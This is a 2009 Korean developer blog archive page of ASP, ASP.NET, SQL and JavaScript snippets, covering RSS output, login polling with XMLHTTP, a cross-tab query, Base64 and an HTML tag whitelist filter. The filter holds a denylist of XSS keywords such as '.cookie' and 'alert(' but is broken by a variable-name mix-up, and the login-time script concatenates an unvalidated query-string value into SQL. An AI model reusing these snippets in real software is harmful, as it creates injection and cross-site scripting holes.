Search Results for '전체 분류'


2064 posts related to '전체 분류'

  1. 2009/05/26 RSS 페이지의 구현
  2. 2009/05/26 모든 TextBox PostBack 막기, ProgressBar JavaScript Event 를 연결하기
  3. 2009/05/26 문자열에서 한글인것만 찾아낼 때
  4. 2009/05/26 ASP에 함수나 DB 연결 방법
  5. 2009/05/26 파라메터 데이터 타입 상수
  6. 2009/05/26 ServerVariables 컬렉션
  7. 2009/05/26 Page 로딩시 상태바 구현
  8. 2009/05/26 setInterval()과 XMLHTTP 를 이용하여 페이지 Refresh
  9. 2009/05/26 크로스 탭 쿼리문
  10. 2009/05/26 정규식을 이용하여 원하는 태그만 허용하는 방법
  11. 2009/05/26 base64 인코드, 디코드 - asp용 (한글 지원)
  12. 2009/05/26 select, radio, checkBox 쉽게 사용하기
  13. 2009/05/26 ASP에 Excel 스프레드시트 표시하기
  14. 2009/05/26 수신확인 & 수신거부 관련
  15. 2009/05/26 날자관련 팁
  16. 2009/05/26 로그인시 아이디가 같은 사용중인 아이디 Session끊을려면
  17. 2009/05/26 리프레쉬 없이 디비 내용 가져오기.
  18. 2009/05/26 블로그 트랙백의 구현 (WINDOWS+IIS+ASP 환경)
  19. 2009/05/26 이전 화면에서 넘어 오는 변수 이름과 값들을 찍어보자
  20. 2009/05/26 엑셀 파일 파일 및 디비에 저장하는 코드 입니다
  21. 2009/05/26 ASP를 사용한 폼 핸들링(5) - CDONTS 작업
  22. 2009/05/26 맥 어드레스 알아내는 방법
  23. 2009/05/26 ASP 파일처리 함수
  24. 2009/05/26 ASP 문자열함수+ 디버깅함수
  25. 2009/05/26 ASP 시간함수 1
  26. 2009/05/26 Mac Address알아내기
  27. 2009/05/25 [MS보안업데이트]2009년2월11일 Microsoft 보안업데이트
  28. 2009/05/25 [취약점]Microsoft Security Advisory (961040)
  29. 2009/05/25 [취약점]Google Chrome Browser (ChromeHTML://) Remote Parameter Injection
  30. 2009/05/25 [취약점]TmaxSoft JEUS Alternate Data Streams Vulnerability
<%
        Option Explicit
        Response.ContentType = "text/xml"
%>
<!-- #include virtual="/Lib/db.asp" -->
<!-- #include virtual="/Lib/lib.asp" -->
<!-- #include virtual="/Lib/adovbs.inc" -->
<%
        Dim cn, rs, sql, config

        sql = "SELECT TOP 20 * FROM posts WHERE is_public = 1 ORDER BY regdate DESC"
        Set cn = GetConnection("Blog", True)
        Set rs = cn.Execute(sql)
        config = Split(Application("BlogConfig"), "|")
%>
<?xml version="1.0" encoding="EUC-KR" ?>
<rss version="2.0">
        <channel>
                <title><% = config(5) %></title>
                <link>http://<% = Request.ServerVariables("HTTP_HOST") %></link>
                <description><% = config(6) %></description>
                <copyright><% = config(5) %></copyright>
                <generator>Bullog for ASP 3.0</generator>
<%
        If (Not rs Is Nothing) And (Not rs.EOF) Then
                Do While Not rs.EOF
%>
                        <item>
                                <title><% = rs("subject") %></title>
                                <link>http://<% = Request.ServerVariables("HTTP_HOST") %>/Archive/<% = rs("uid") %></link>
                                <description><![CDATA[<% = rs("content") %>]]></description>
                                <pubDate><% = rs("regdate") %></pubDate>
                        </item>
<%
                        rs.MoveNext
                Loop
        End If

        rs.Close
        cn.Close

        Set rs = Nothing
        Set cn = Nothing
%>
        </channel>
</rss>
2009/05/26 13:49 2009/05/26 13:49
<summary>
  /// Form 의 TextBox 에서 Enter키를 치면 PostBack 되는 것을 막고 버튼에 Progress Bar JavaScript Event 를 연결
  /// </summary>
  public void PreventSubmitOnEnter()
  { 
   string strFormName;

   HttpContext hc = HttpContext.Current;
   hc.Response.Write("<div id='divProgress' style='DISPLAY: none; LEFT: 30%; POSITION: absolute; TOP: 15%'><IMG id='img' src='../images/loadingbar.gif'></div>");  


   if (!IsPostBack)
   {
    foreach (System.Web.UI.Control formCont in this.Controls)
    {
     if (formCont is System.Web.UI.HtmlControls.HtmlForm)
     {
      strFormName = formCont.ClientID;


      foreach(System.Web.UI.Control cont in formCont.Controls)
      {
       // TextBox 에는 Enter 키 이벤트 막기
       if ( cont is System.Web.UI.WebControls.TextBox )
       {
        TextBox tbox = cont as TextBox;
        tbox.Attributes.Add("onkeypress","if(event.keyCode==13){return false;}");
       }
        // Button 에는 ProgressBar 이벤트 연결
       else if ( cont is System.Web.UI.WebControls.Button)
       {
        Button btn = cont as Button;
        string strHandler = "javascript:document."+strFormName+".style.display = 'none' ; document.all.img.src='../images/loadingbar.gif' ; document.all.divProgress.style.display='';";


        btn.Attributes.Add("onclick", strHandler);
       }
      }
     }
    }  // foreach (System.Web.UI.Control formCont in this.Controls)
   }  // if ( !PostBack)
  } // 메소드

2009/05/26 13:48 2009/05/26 13:48
<summary>
    /// 문자가 한글인지 여부를 판단합니다.^^

    /// </summary>
    /// <returns>문자의 한글여부</returns>
    private bool IsHanguel(Char ch)
    {
          if ( char.GetUnicodeCategory(ch) ==System.Globalization.UnicodeCategory.OtherLetter ) // 한글이면
          {


              return true;
          }


          else


          {


              return false;


          }
    }

2009/05/26 13:47 2009/05/26 13:47

<%


'---a.asp 소스 시작---


'---DB 연결에 쓰이는 개체를 예로 듭니다.---


SET objConn = Server.CreateObject("ADODB.Connection")


strConnection = "Provider = SQLOLEDB; Data Source = DB서버명; Initial Catalog =DB명; User Id = DB접근계정; Password = DB접근비밀번호;"


objConn.Open strConnection




'---함수 예---


function writeTest(strText)


   Response.Write(strText &"<br>")


end function


'---a.asp 소스 끝---


%>




main.asp에는 아래와 같이 불러옵니다.


여기서 주의할 점은 a.asp와 main.asp는 같은 폴더에 있어야 합니다.


<!--#include file="a.asp"-->


<%


dim sql




sql="select * from 테이블명"


set result=objConn.execute(sql) '--DB 개체 호출


do while not result.eof


   writeTest(result("칼럼명")) '---함수 호출


   result.moveNext


Loop




'---아래 부분은 b.asp로 작성해서 다시 include로 써주어도 됩니다.---


set result=nothing


objConn.Close


set objConn=nothing


%>

2009/05/26 13:46 2009/05/26 13:46
정수   값 내용
adBigInt  20 8바이트의부호있는정수
adBinary  128 바이너리형
adBoolean  11 불린형(True/False)
adBSTR   8 Null로종료하는Unicode문자열형
adChar   129 문자열형
adCurrency  6 전달형
adDate   7 날자형
adDBDate  133 yyyy-mm-DD형식의날자형
adDBTime  134 hh-mm-ss형식의시간형
adBDTimeStamp  135 날자나시간중일부만표시
adDecimal  141 0진형
adDouble  5 배정도부동소수점형
adEmpty   0 형을지정하지않음
adError   10 32BIT에러코드
adGUID   72 고유의글로벌식별자(GUID)
adIDispatch  9 OLE보므젝트Idispatch인터페이스로의포인터
adInteger  3 4바이트의부호있는정수
IUnknown  13 OLE오브젝트IUnknown인터페이스로의포인터
adLongVarBinary  205 LongBinary형(Parameter오브젝트만)
adLongVarchar  201 LongChar형(Parameter오브젝트만)
adLongVarWChar  203 Null로종료하는Unicode문자열형(Parameter오브젝트만)
adNumeric  131 수치형
adSingle  4 단정도부동소수점형
adSmallInt  2 2바이트의부호있는정수
adTinyInt  16 1바이트의부호있는정수
adUnsignedBigInt 21 8바이트의부호없는정수
adUnsignedInt  19 4바이트의부호없는정수
adUnsignedSmallInt 18 2바이트의부호없는정수
adUnsignedTinyInt 17 1바이트의부호없는정수
adUserDefined  132 사용자정의변수
adVarBinary  204 바이너리형(Parameter오브젝트만)
adVarChar  200 문자열형(Parameter오브젝트만)
adVariant  12 오토메이션배리언트형
adVarWChar  202 Null로종료하는Unicode문자열형(Parameter오브젝트만)
adWchar   130 Null로종료하는Unicode문자열형
2009/05/26 13:46 2009/05/26 13:46

ServerVariables 컬렉션은 미리 정의된 환경 변수 값을 저장합니다.


구문
Request.ServerVariables (server environment variable)
 
매개 변수
server environment variable
찾을 서버 환경 변수 이름을 지정합니다. 이 값은 다음 값들 중 하나일 수 있습니다.변수 설명



ALL_HTTP


클라이언트가 보낸 모든 HTTP 헤더



ALL_RAW


원본 형식으로 된 모든 헤더를 찾습니다. ALL_RAW와 ALL_HTTP의 차이는 ALL_HTTP가 헤더 이름 앞에 HTTP_ 프리픽스를 놓고 헤더 이름은 항상 대문자입니다. ALL_RAW에서 헤더 이름과 값은 클라이언트가 보낼 때만 나타납니다.



APPL_MD_PATH


ISAPI DLL을 위한 (WAM) 응용 프로그램에 대한 메타베이스 경로를 찾습니다.



APPL_PHYSICAL_PATH


메타베이스 경로에 따라 실제 경로를 찾습니다. IIS는 APPI_MD_PATH를 실제 (디렉터리) 경로로 변환하여 이 값을 보냅니다.



AUTH_PASSWORD


클라이언트의 인증 대화 상자에 입력한 값입니다. 이 변수는 기본 인증을 사용할 때만 이용할 수 있습니다.



AUTH_TYPE


보호 스크립트에 접근할 때 사용자를 인증하기 위해 서버가 사용하는 인증 방법입니다.



AUTH_USER


인증된 사용자 이름입니다.



CERT_COOKIE


Returned as a string 클라이언트 보증서를 위한 고유 ID입니다. 전체 클라이언트 보증서를 위한 서명으로 사용될 수도 있습니다.



CERT_FLAGS


클라이언트 보증서가 있는 경우 bit0은 1로 설정됩니다.
클라이언트 보증서의 보증 기관이 유효하지 않을 경우(서버 CA 목록에 없을 경우) bit1은 1로 설정됩니다.
 
CERT_ISSUER


클라이언트 보증서의 발급 필드(O=MS, OU=IAS, CN=user name, C=USA).



CERT_KEYSIZE


SSL(Secure Sockets Layer) 연결 키 크기의 비트 수. (예: 128)



CERT_SECRETKEYSIZE


서버 보증서 개인 키의 비트 수. (예: 1024)



CERT_SERIALNUMBER


클라이언트 보증서의 일련 번호 필드



CERT_SERVER_ISSUER


서버 보증서의 발급 필드



CERT_SERVER_SUBJECT


서버 보증서의 제목 필드



CERT_SUBJECT


클라이언트 보증서의 제목 필드



CONTENT_LENGTH


클라이언트가 제공한 내용의 길이



CONTENT_TYPE


내용의 데이터 종류. HTTP 쿼리 GET, POST 및 PUT 등의 내용을 첨부한 쿼리에서 사용됩니다.



GATEWAY_INTERFACE


서버에서 사용되는 CGI 개정 기능. 형식은 CGI/개정입니다.



HTTP_<HeaderName>


HeaderName 헤더에 저장된 값입니다. 이 표에 기록되지 않은 다른 모든 헤더는 ServerVariables 컬렉션에서 값을 해제하기 위해 HTTP_로 시작해야 합니다.



참고 서버는 실제 헤더에서의 대시와 같은 HeaderName에 있는 모든 밑줄(_)을 해석합니다. 예를 들어, HTTP_MY_HEADER를 지정하면 서버는 MY-HEADER로 보내진 헤더를 찾습니다.
 
HTTPS


요청이 보안 채널(SSL)에 들어 오면 ON을 보내고, 요청이 비 보안 채널에 있을 경우는 OFF를 보냅니다.



HTTPS_KEYSIZE


SSL(Secure Sockets Layer) 연결 키 크기의 비트 수. (예: 128)



HTTPS_SECRETKEYSIZE


서버 보증서 개인 키의 비트 수. (예: 1024)



HTTPS_SERVER_ISSUER


서버 보증서의 발급자 필드.



HTTPS_SERVER_SUBJECT


서버 보증서의 제목 필드.



INSTANCE_ID


문자 형식의 IIS 인스턴스를 위한 ID. 인스턴스 ID가 1이면 문자열로 나타납니다. 이 변수를 이용하면 요청이 속하는 (메타베이스의)웹-서버 인스턴스의 ID를 저장할 수 있습니다.



INSTANCE_META_PATH


요청에 응답하는 IIS 인스턴스를 위한 메타베이스 경로입니다.



LOCAL_ADDR


요청이 들어온 서버 주소를 보냅니다. 한 기계에 여러 IP 주소를 가질 수 있는 multi-homed 기계에 있어서 중요한 사항이며 요청이 사용했던 주소를 찾아낼 수 있습니다.



LOGON_USER


사용자가 로그인 된 Windows NT® 계정.



PATH_INFO


클라이언트가 제공한 추가 경로 정보. 실제 경로와 PATH_INFO 서버 변수를 이용하여 스크립트에 접근할 수 있습니다. 정보가 URL로부터 오는 경우는 CGI 스크립트로 보내지기 전에 서버가 먼저 이를 분석합니다.



PATH_TRANSLATED


경로를 차지하고 필요한 가상에서 실제로 매핑을 수행하는 PATH_INFO 변환 버전입니다.



QUERY_STRING HTTP


요청의 물음표(?) 다음에 오는 문자열에 저장된 쿼리 정보.



REMOTE_ADDR


요청을 만드는 원격 호스트의 IP 주소.



REMOTE_HOST


요청을 만드는 호스트 이름. 서버에 이 정보가 없으면 REMOTE_ADDR을 설정하고 이것을 빈 채로 둡니다.



REMOTE_USER


사용자가 보낸 매핑 처리 되지 않은 사용자-이름 문자열. 이것은 실제로 사용자가 보내는 이름이며 서버에 설치된 인증 필터로 수정한 것들과는 반대되는 것입니다.



REQUEST_METHOD


요청을 만들기 위해 사용한 방법. HTTP의 경우 GET이나 HEAD, POST 등이 있습니다.



SCRIPT_NAME


실행되는 스크립트의 가상 경로입니다. 이것은 URL의 자체 참조를 위해 사용됩니다.



SERVER_NAME


URL 자체 참조에 나타나 듯이 서버의 호스트 이름, DNS 별명 또는 IP 주소입니다.



SERVER_PORT


요청이 보내진 포트 번호입니다.



SERVER_PORT_SECURE


0 또는 1을 포함하는 문자열입니다. 요청이 보안 포트에서 처리되면 1이고 그렇지 않으면 0입니다.



SERVER_PROTOCOL


요청된 정보 프로트콜의 이름 및 버전입니다. 형식은 protocol/revision입니다.



SERVER_SOFTWARE 요청에 응답하고 게이트웨이를 실행하는 서버 소프트웨어 이름 및 버전입니다. 형식은 name/version입니다.
URL  URL의 기본 위치를 제공합니다.

2009/05/26 13:46 2009/05/26 13:46

<%@ Language=VBScript %>
<% Response.Buffer = true %>
<center>
<b>잠시만 기다려 주세요.</b>
<br>
<OBJECT
id=bbb
name=bbb
style="WIDTH: 300px; TOP: 500px; HEIGHT: 24px;Align: center;"
classid="clsid:0713E8D2-850A-101B-AFC0-4210102A8DA7"
codebase="http://activex.microsoft.com/controls/vb6/comctl32.cab" >
<PARAM NAME="BorderStyle" VALUE="0">
<PARAM NAME="Bordercolor" VALUE="42343243243">
<PARAM NAME="Enabled" VALUE="1">
</OBJECT>


<div id=kkkk name=kkkk></div>


<% Response.Flush %>
<%


'실행 응답시간
aaa = 1000


%>
<%
'100% 완료시 보여질 페이지
strVirtualResult = "aaa.asp"


%>


<% for i = 1 to aaa %>
<script language="JavaScript">
<% Response.Flush %>
kkkk.innerHTML = '<%=100 * (i/aaa)%>';
<% Response.Flush %>
bbb.Value = <%=100 * (i/aaa)%>;
<% Response.Flush %>
if (bbb.Value == 100){
window.location.href = '<%=strVirtualResult %>';
}
<%response.write "kkkk.innerHTML ='   Loading...    " & cint(100 * (i/aaa)) & "%'" %>
</script>
<%next%>
<% Response.End%>
<% Response.Clear%>

2009/05/26 13:45 2009/05/26 13:45

# setInterval()과 XMLHTTP 를 이용하여 페이지 Refresh


* 장점
 1) 브라우저 진행율 표시 안나타남
 2) Refresh 소리 없음


--> 이 소스는 정해진 시간마다 회원이 로그아웃 했는지를 체크하기 위해 만들었습니다.
로그인상태의 회원은 LOGON 값을 현재시간으로 업데이트하고,
로그아웃상태인 회원은 LOGON 값이 널(null)이 됩니다.


* logon.asp 는 로그인한 회원정보를 보여주는 파일입니다.
* logon_update.asp 는 logon_time.asp 파일을 일정간격으로 refresh한 효과를 냅니다.
* logon_time.asp 파일은 현재시간을 LOGON 값에 넣어줍니다.




(1) XMLHTTP 설명


1. XMLHTTP 메서드


Abort   현재 HTTP 요청을 취소합니다.
GetAllResponseHeaders 응답 메시지에서 모든 헤더 필드를 검색합니다.
GetResponseHeader                 응답 본문에서 HTTP 헤더의 값을 검색합니다.
Open   HTTP서버에 대한 연결을 엽니다.
SetRequestHeader                 요청 헤더 필드 중 하나를 설정합니다.
Send   HTTP 서버로 요청을 보냅니다. 본문이 포함될 수 있습니다.



2. XMLHT TP 속성 : 속성을 사용하여 요청 확인
--> XMLHTTP 속성을 사용하면 요청을 확인할 수 있을 뿐만 아니라 서버로부터
반환된 값을 검색하여 요청으로 발생한 모든 오류를 확인할 수 있습니다.


=========================================================================
속성  값  설명
=========================================================================
OnReadyStateChange   이벤트 처리기 참조 비동기 작업에서만 사용합니다.
    이 속성은 데이터가 서버에서 반환되는 것과 같은
    대기 상태가 변경될 때 이벤트 처리기 호출을 지정합니다.


ReadyState           Integer  비동기 작업의 상태, uninitialized (0), loading (1),
    loaded (2), interactive (3), completed (4)를 나타냅니다.


ResponseBody Variant  배열 응답의 본문을 배열로 반환합니다.
ResponseStream IStream  응답의 본문을 ADO Stream 개체로 반환합니다.
ResponseText String  응답의 본문을 텍스트 문자열로 반환합니다.
ResponseXML XMLDocument 개체 응답의 본문을 MSXML XMLDOM 파서로 분석된 것으로
                                                                반환합니다.
Status  Long  서버가 반환한 HTTP 상태 코드
StatusText  String  HTTP 응답 라인 상태
=========================================================================



(2) 소스 설명


'----------logon.asp 시작------------------


' member_uid : 회원 고유번호


<iframe width="0" height="0" border="0" frameborder="0" src="/logon_update.asp?member_uid=<%=member_uid%
>"></iframe>


'----------logon.asp 끝 ------------------





'----------logon_update.asp 시작------------------


<%
Dim member_uid
member_uid = Trim(Request.QueryString("member_uid"))  ' 회원 고유번호
%>


<html>
<head>
<script language="javascript">
<!--


// logon_update.asp 파일을 로드한다.
function pageLoad() {


    // (1) XMLHTTP 객체를 생성합니다.
    var xmlHTTP = new ActiveXObject("Microsoft.XMLHTTP")


    // (2) HTTP서버에 대한 연결을 엽니다.
    xmlHTTP.open("get","logon_time.asp?member_uid=<%=member_uid%>",false);


    // (3) HTTP 서버로 요청을 보냅니다.
    xmlHTTP.send();


}


function intervalCall() {


    setInterval("pageLoad()", 5000);  // 5초간격으로 pageLoad()함수 호출


}


//-->
</script>
</head>
<body onload="intervalCall()">
</body>
</html>


'----------logon_update.asp 끝------------------




'----------logon_time.asp 시작------------------


<!--#include virtual="/dbconnect.asp"-->
<%
On Error Resume Next


Dim member_uid
member_uid = Trim(Request.QueryString("member_uid"))  ' 회원 고유번호


Dim Dbcon, Rs, sqlQuery


' dbconnect.asp 에 정의된 DbOpen()함수를 통해 DB Connection 객체 생성
'(@@ 이부분은 직접 정의하여 사용하세요 ^^;)
Set Dbcon = DbOpen()


' 로그인한지 10초가 초과한 회원의 logon필드값을 널(NULL)로 업데이트
strSQL = ""
strSQL = "UPDATE MEMBER_INFO"
strSQL = strSQL & " SET LOGON = NULL"
strSQL = strSQL & " WHERE DATEDIFF(SECOND, LOGON, getdate()) > 10"
Dbcon.Execute(strSQL)



sqlQuery = ""
sqlQuery = "SELECT * FROM MEMBER_INFO WHERE MEMBER_UID="& member_uid


' 회원 로그온 시간 업데이트
Set Rs = Server.CreateObject("ADODB.Recordset")
With Rs
    .Source = sqlQuery
    .ActiveConnection = Dbcon
    .CursorType = adOpenStatic
    .LockType = adLockPessimistic
    .Open , , , ,adCmdText
 .Fields("LOGON_TIME") = Now
    .Update
End With


' Error 체크 (@@ ErrorCheck() 함수도 dbconnect.asp 에 정의됨.)
Call ErrorCheck("회원 로그온 시간 UPDATE 처리")


Rs.Close
Set Rs = Nothing


' DB Connection 객체 Close
DbClose(Dbcon)
%>



'----------logon_time.asp 끝------------------

2009/05/26 13:45 2009/05/26 13:45

create table #temp_lib1
(
 a char(1),
 b varchar(10),
 c int
)


insert into #temp_lib1 values('A', '상품1', 10)
insert into #temp_lib1 values('A', '상품2', 20)
insert into #temp_lib1 values('A', '상품3', 30)
insert into #temp_lib1 values('B', '상품1', 10)
insert into #temp_lib1 values('C', '상품3', 15)
insert into #temp_lib1 values('A', '상품3', 40)
insert into #temp_lib1 values('B', '상품4', 50)
insert into #temp_lib1 values('C', '상품2', 10)
insert into #temp_lib1 values('C', '상품3', 20)
insert into #temp_lib1 values('D', '상품2', 20)
insert into #temp_lib1 values('C', '상품5', 20)


select a 창고, b 상품, c 수량 from #temp_lib1


-----------------------------
출력
-----------------------------
창고          상품         수량
-----------------------------
A 상품1 10
A 상품2 20
A 상품3 30
B 상품1 10
C 상품3 15
A 상품3 40
B 상품4 50
C 상품2 10
C 상품3 20
D 상품2 20
C 상품5 20
-----------------------------


이렇게 입력되었습니다.


결과를 만드는 쿼리는..


declare @b varchar(10)
declare @sql varchar(8000)


set @sql = 'select x.a 창고, '


declare c_cursor cursor for
select b
from #temp_lib1
group by b
order by b for read only


open c_cursor
fetch next from c_cursor into @b


while @@fetch_status = 0
begin
 set @sql = @sql + 'max((case x.b when ''' + cast(@b as varchar(10)) + ''' then x.sum_c else 0 end)) ' + cast(@b as varchar(10)) +', '


fetch next from c_cursor into @b
end


close c_cursor
deallocate c_cursor


set @sql = left(@sql, len(@sql)-1)


set @sql = @sql + ' from '
set @sql = @sql + '( select a, b, sum(c) sum_c '
set @sql = @sql + ' from #temp_lib1 '
set @sql = @sql + ' group by a, b) as x '
set @sql = @sql + 'group by x.a '
set @sql = @sql + 'order by x.a'


exec(@sql)


-----------------------------------------------------------
출력
-----------------------------------------------------------
창고         상품1        상품2        상품3        상품4        상품5
-----------------------------------------------------------
A               10             20            70              0            0
B               10              0             0              50           0
C                0             10            35              0            20
D                0             20             0               0             0
-----------------------------------------------------------

2009/05/26 13:44 2009/05/26 13:44
게시판에 태그와 자바스크립트로 테러를 저질르는 한심하신분들이 종종 있는 관계로


몇일동안 정규표현식과 씨름하다가 만들었습니다.





정해진 태그만 딱 허용하면 테러당할일은 없겠지요..





<%


'//패턴으로 치환할수 있는 eregi_replace()함수를 구현


'//PHP에는 있으나 ASP에는 없기 때문


Function eregi_replace(pattern, replace, text)


Dim eregObj:





Set eregObj = New RegExp:





eregObj.Pattern = pattern: '//패턴 설정


eregObj.IgnoreCase = True: '//대소문자 구분 여부


eregObj.Global = True: '//전체 문서에서 검색





eregi_replace = eregObj.Replace(text, replace): '//Replace String


End Function





'//허용태그 외의 모든 태그제거 함수


Function strip_tags(str,allowtags)


Dim content:


Dim tags:





content = str:


tags = replace(allowtags,",","|"):





content = eregi_replace("<(/?)(?!/|" & tags & ")([^<>]*)?>", "&lt;$1$2&gt;", content):


contents = eregi_replace("(javascript:|vbscript:)+","$1//",contents):


contents = eregi_replace


("(.location|location.|onload=|.cookie|alert(|window.open(|onmouse|onkey|onclick|view-


source:)+","//",contents): '//자바스크립트 실행방지





strip_tags = content:


End Function








'//사용예


Dim permitTags, comment:





permitTags = "br,a,img,table,b,font,div,center,embed":


comment = "<font color=red>허용하지 않은 태그</font>가<br>잘 <b>보이나요?</b><br><script></script>":


comment = comment & "<div align=center>아주 유용할꺼에요~</div><body><html><xmp><pre>":





response.write strip_tags(comment,permitTags):





%>
2009/05/26 13:44 2009/05/26 13:44
<%


Option Explicit





Dim sBASE_64_CHARACTERS, sBASE_64_CHARACTERSansi


sBASE_64_CHARACTERS


= "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"


sBASE_64_CHARACTERSansi = strUnicode2Ansi(sBASE_64_CHARACTERS)








Function strUnicodeLen(asContents)


Dim asContents1 : asContents1 ="a" & asContents


Dim Len1 : Len1=Len(asContents1)


Dim K : K=0


Dim I, Asc1





For I=1 To Len1


Asc1 = asc(mid(asContents1,I,1))


IF Asc1 < 0 Then Asc1 = 65536 + Asc1


IF Asc1 > 255 Then


K = K + 2


ELSE


K = K + 1


End IF


Next





strUnicodeLen = K - 1


End Function





Function strUnicode2Ansi(asContents)


Dim Len1 : Len1 = Len(asContents)


Dim I, VarCHAR, VarASC, VarHEX, VarLOW, VarHIGH





strUnicode2Ansi = ""





For I = 1 to Len1


VarCHAR = Mid(asContents,I,1)


VarASC = Asc(VarCHAR)


IF VarASC < 0 Then VarASC = VarASC + 65536


IF VarASC > 255 Then


VarHEX = Hex(VarASC)


VarLOW = Left(VarHEX,2)


VarHIGH = Right(VarHEX,2)


strUnicode2Ansi = strUnicode2Ansi & ChrB("&H" & VarLOW ) & ChrB


("&H" & VarHIGH )


Else


strUnicode2Ansi = strUnicode2Ansi & ChrB(VarASC)


End IF


Next


End Function











Function strAnsi2Unicode(asContents)


Dim Len1 : Len1 = LenB(asContents)


Dim VarCHAR, VarASC, I





strAnsi2Unicode = ""





IF Len1=0 Then Exit Function





For I=1 To Len1


VarCHAR = MidB(asContents,I,1)


VarASC = AscB(VarCHAR)


IF VarASC > 127 Then


strAnsi2Unicode = strAnsi2Unicode & Chr(AscW(MidB(asContents,


I+1,1) & VarCHAR))


I = I + 1


Else


strAnsi2Unicode = strAnsi2Unicode & Chr(VarASC)


End IF


Next





End function





Function Base64encode(asContents)


Dim lnPosition


Dim lsResult


Dim Char1


Dim Char2


Dim Char3


Dim Char4


Dim Byte1


Dim Byte2


Dim Byte3


Dim SaveBits1


Dim SaveBits2


Dim lsGroupBinary


Dim lsGroup64


Dim M3, M4, Len1, Len2





Len1 =LenB(asContents)





IF Len1 < 1 Then


Base64encode = ""


Exit Function


End IF





M3=Len1 Mod 3





IF M3 > 0 Then asContents = asContents & String(3 - M3, ChrB(0))





IF m3 > 0 Then


Len1 = Len1 + (3 - M3)


Len2 = Len1 - 3


Else


Len2 = Len1


End IF





lsResult = ""





For lnPosition = 1 To Len2 Step 3


lsGroup64 = ""


lsGroupBinary = MidB(asContents, lnPosition, 3)





Byte1 = AscB(MidB(lsGroupBinary, 1, 1)) : SaveBits1 = Byte1


And 3


Byte2 = AscB(MidB(lsGroupBinary, 2, 1)) : SaveBits2 = Byte2


And 15


Byte3 = AscB(MidB(lsGroupBinary, 3, 1))





Char1 = MidB(sBASE_64_CHARACTERSansi, ((Byte1 And 252)  4) + 1,


1)


Char2 = MidB(sBASE_64_CHARACTERSansi, (((Byte2 And 240)  16)


Or (SaveBits1 * 16) And &HFF) + 1, 1)


Char3 = MidB(sBASE_64_CHARACTERSansi, (((Byte3 And 192)  64)


Or (SaveBits2 * 4) And &HFF) + 1, 1)


Char4 = MidB(sBASE_64_CHARACTERSansi, (Byte3 And 63) + 1, 1)


lsGroup64 = Char1 & Char2 & Char3 & Char4





lsResult = lsResult & lsGroup64


Next





IF M3 > 0 Then


lsGroup64 = ""


lsGroupBinary = MidB(asContents, Len2 + 1, 3)





Byte1 = AscB(MidB(lsGroupBinary, 1, 1)) : SaveBits1 = Byte1


And 3


Byte2 = AscB(MidB(lsGroupBinary, 2, 1)) : SaveBits2 = Byte2


And 15


Byte3 = AscB(MidB(lsGroupBinary, 3, 1))





Char1 = MidB(sBASE_64_CHARACTERSansi, ((Byte1 And 252)  4) + 1,


1)


Char2 = MidB(sBASE_64_CHARACTERSansi, (((Byte2 And 240)  16)


Or (SaveBits1 * 16) And &HFF) + 1, 1)


Char3 = MidB(sBASE_64_CHARACTERSansi, (((Byte3 And 192)  64)


Or (SaveBits2 * 4) And &HFF) + 1, 1)





IF M3=1 Then


lsGroup64 = Char1 & Char2 & ChrB(61) & ChrB(61)


Else


lsGroup64 = Char1 & Char2 & Char3 & ChrB(61)


End IF





lsResult = lsResult & lsGroup64


End IF





Base64encode = lsResult


End Function





Function Base64decode(asContents)


Dim lsResult


Dim lnPosition


Dim lsGroup64, lsGroupBinary


Dim Char1, Char2, Char3, Char4


Dim Byte1, Byte2, Byte3


Dim M4, Len1, Len2





Len1 = LenB(asContents)


M4 = Len1 Mod 4





IF Len1 < 1 Or M4 > 0 Then


Base64decode = ""


Exit Function


End IF





IF MidB(asContents, Len1, 1) = ChrB(61) Then M4 = 3


IF MidB(asContents, Len1-1, 1) = ChrB(61) Then M4 = 2





IF M4 = 0 Then


Len2 = Len1


Else


Len2 = Len1 - 4


End IF





For lnPosition = 1 To Len2 Step 4


lsGroupBinary = ""


lsGroup64 = MidB(asContents, lnPosition, 4)





Char1 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 1, 1)) -


1


Char2 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 2, 1)) -


1


Char3 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 3, 1)) -


1


Char4 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 4, 1)) -


1





Byte1 = ChrB(((Char2 And 48)  16) Or (Char1 * 4) And &HFF)


Byte2 = lsGroupBinary & ChrB(((Char3 And 60)  4) Or (Char2 * 16)


And &HFF)


Byte3 = ChrB((((Char3 And 3) * 64) And &HFF) Or (Char4 And 63))


lsGroupBinary = Byte1 & Byte2 & Byte3





lsResult = lsResult & lsGroupBinary


Next





IF M4 > 0 Then


lsGroupBinary = ""


lsGroup64 = MidB(asContents, Len2 + 1, M4) & ChrB(65)


IF M4=2 Then


lsGroup64 = lsGroup64 & chrB(65)


End IF


Char1 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 1, 1)) - 1


Char2 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 2, 1)) - 1


Char3 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 3, 1)) - 1


Char4 = InStrB(sBASE_64_CHARACTERSansi, MidB(lsGroup64, 4, 1)) - 1





Byte1 = ChrB(((Char2 And 48)  16) Or (Char1 * 4) And &HFF)


Byte2 = lsGroupBinary & ChrB(((Char3 And 60)  4) Or (Char2 * 16) And &HFF)


Byte3 = ChrB((((Char3 And 3) * 64) And &HFF) Or (Char4 And 63))





IF M4=2 Then


lsGroupBinary = Byte1


elseIF M4=3 Then


lsGroupBinary = Byte1 & Byte2


end IF





lsResult = lsResult & lsGroupBinary


End IF





Base64decode = lsResult


End Function








'################################## 사용 샘플 ##################################


Dim ORIGNvalue : ORIGNvalue = "하완어환오라ㅓ고ㅓ엉ㅁㄹ22ㅁㅁ@@ㅇㅁㄹ;ㄴㅇ


aabcsdfaeerdfadf"


Dim EncodeA : EncodeA = strAnsi2Unicode(Base64encode(strUnicode2Ansi


(ORIGNvalue)))


Dim DecodeA : DecodeA = strAnsi2Unicode(Base64decode(strUnicode2Ansi(EncodeA)))





response.write "------------------------------------------------------------------------<BR>"


response.write "lsResult : " & ORIGNvalue & "<BR>"


response.write "lsResult : " & EncodeA & "<BR>"


response.write "lsResult : " & DecodeA & "<BR>"


response.write "------------------------------------------------------------------------<BR>"





%>


참고로 이건 제가 한건 아니고 아는 친구가 한건데 꼭 asp로만 해야하는 경우엔 사용해보세요...


